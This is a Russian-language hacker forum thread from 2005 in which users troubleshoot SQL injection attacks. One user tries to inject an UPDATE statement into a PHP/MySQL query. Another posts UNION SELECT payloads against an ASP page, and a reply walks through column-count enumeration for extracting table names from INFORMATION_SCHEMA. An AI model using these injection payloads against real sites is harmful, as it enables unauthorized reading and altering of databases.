Sql Injection

Discussion in 'PHP' started by X-pl0id, 4 May 2005.

  1. X-pl0id

    X-pl0id New Member

    Joined:
    2 May 2005
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Я не владею языком SQL по этому прошу помощи:

    [SQL-query] LIMIT 1, UNION UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/*

    ругается на синтакс... Чё тут не так?
     
  2. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    А начало запроса какое ?
     
  3. X-pl0id

    X-pl0id New Member

    Joined:
    2 May 2005
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    SELECT m.[q], m.[w], m.[e], m.[r], m.[t], m.[y],m., m., m.[a], m., m.[d], me.[q],
    me.[g], me.[f] FROM [db_name] m
    LEFT JOIN [db_name2] me ON me.[z]=m.[z]
    LEFT JOIN [db_name3] g ON m.[x]=g.[z] WHERE m.[z] > 0 AND m.[x]='1' AND g.[c] <> 1
    ORDER BY m.[q] asc LIMIT 1,
    UNION UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/*
     
  4. X-pl0id

    X-pl0id New Member

    Joined:
    2 May 2005
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Я тут покапался и разобрался что UNION мне совсем не нужен... такой запрос спокойно выполняется в phpMyAdmin: SELECT m.[q], m.[w], m.[e], m.[r], m.[t], m.[y],m., m., m.[a], m., m.[d], me.[q],
    me.[g], me.[f] FROM [db_name] m
    LEFT JOIN [db_name2] me ON me.[z]=m.[z]
    LEFT JOIN [db_name3] g ON m.[x]=g.[z] WHERE m.[z] > 0 AND m.[x]='1' AND g.[c] <> 1
    ORDER BY m.[q] asc LIMIT 1,30
    ; UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/*

    проблема в том что если этот запрос посылать через пхп, ну всмысле mysql_query("запрос") он все равно ругается на синтаксис в выделенном месте...

    В чем там ошибка?
     
  5. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Подробно приведи текст ругательства
     
  6. X-pl0id

    X-pl0id New Member

    Joined:
    2 May 2005
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; UPDATE [db_name] SET [db_name] WHERE [z] = 0/*,30' at line 8
     
  7. KEZ

    KEZ Guest

    Reputations:
    0
    Вообщето вместо [z], [x], и других выражений в кавычках нужно подставить реальные значения...
     
  8. adler

    adler New Member

    Joined:
    1 May 2005
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    хм а у меня такая проблема:

    /topics.asp?topID=19 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    вместо ошибки с названием первой таблицы возвращает:

    All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

    Ктонибудь знает как с этим бороться?
     
  9. Morph

    Morph Пирожок с Маком

    Joined:
    13 Aug 2004
    Messages:
    790
    Likes Received:
    113
    Reputations:
    169
    Товарищи это уже не по ФОрумам.
     
  10. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    SQL (в дамнном случае как я понял MS) говорит о том что в 2-х селектах между UNION разное количество полей достоваемых, а должно быть одинаковое. На число первых тыповлиять не можешь. а вот на число второго SELECT`а можешь. Делаешь:

    /topics.asp?topID=19 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES--
    потом
    /topics.asp?topID=19 UNION SELECT 1,2 FROM INFORMATION_SCHEMA.TABLES--
    потом
    /topics.asp?topID=19 UNION SELECT 1,2,3 FROM INFORMATION_SCHEMA.TABLES--
    потом
    /topics.asp?topID=19 UNION SELECT 1,2,3,4 FROM INFORMATION_SCHEMA.TABLES--

    и так далее, пока не получишь результата. Как увидешь цифарки на экране подставляй в запрос вместо них поля, которые хочешь видеть. И все.
     
    _________________________
    1 person likes this.
  11. Ivan_

    Ivan_ New Member

    Joined:
    22 May 2005
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Потому что точка с запятой - конец запроса. После этого ничего вставлять нельзя (в MySQL). phpmyadmin, по всей видимости (не проверял) разделяет введённое по точке с запятой на 2 запроса и выполняет их по очереди.

    Насчёт union
    UNION - это обьединение не запросов, а вывода. Т.е. можно два SELECT обьединить. (при соблюдении других условий - см. учебники по синтаксису запросов). А SELECT и UPDATE - нет.

    Если я где не прав - поправьте меня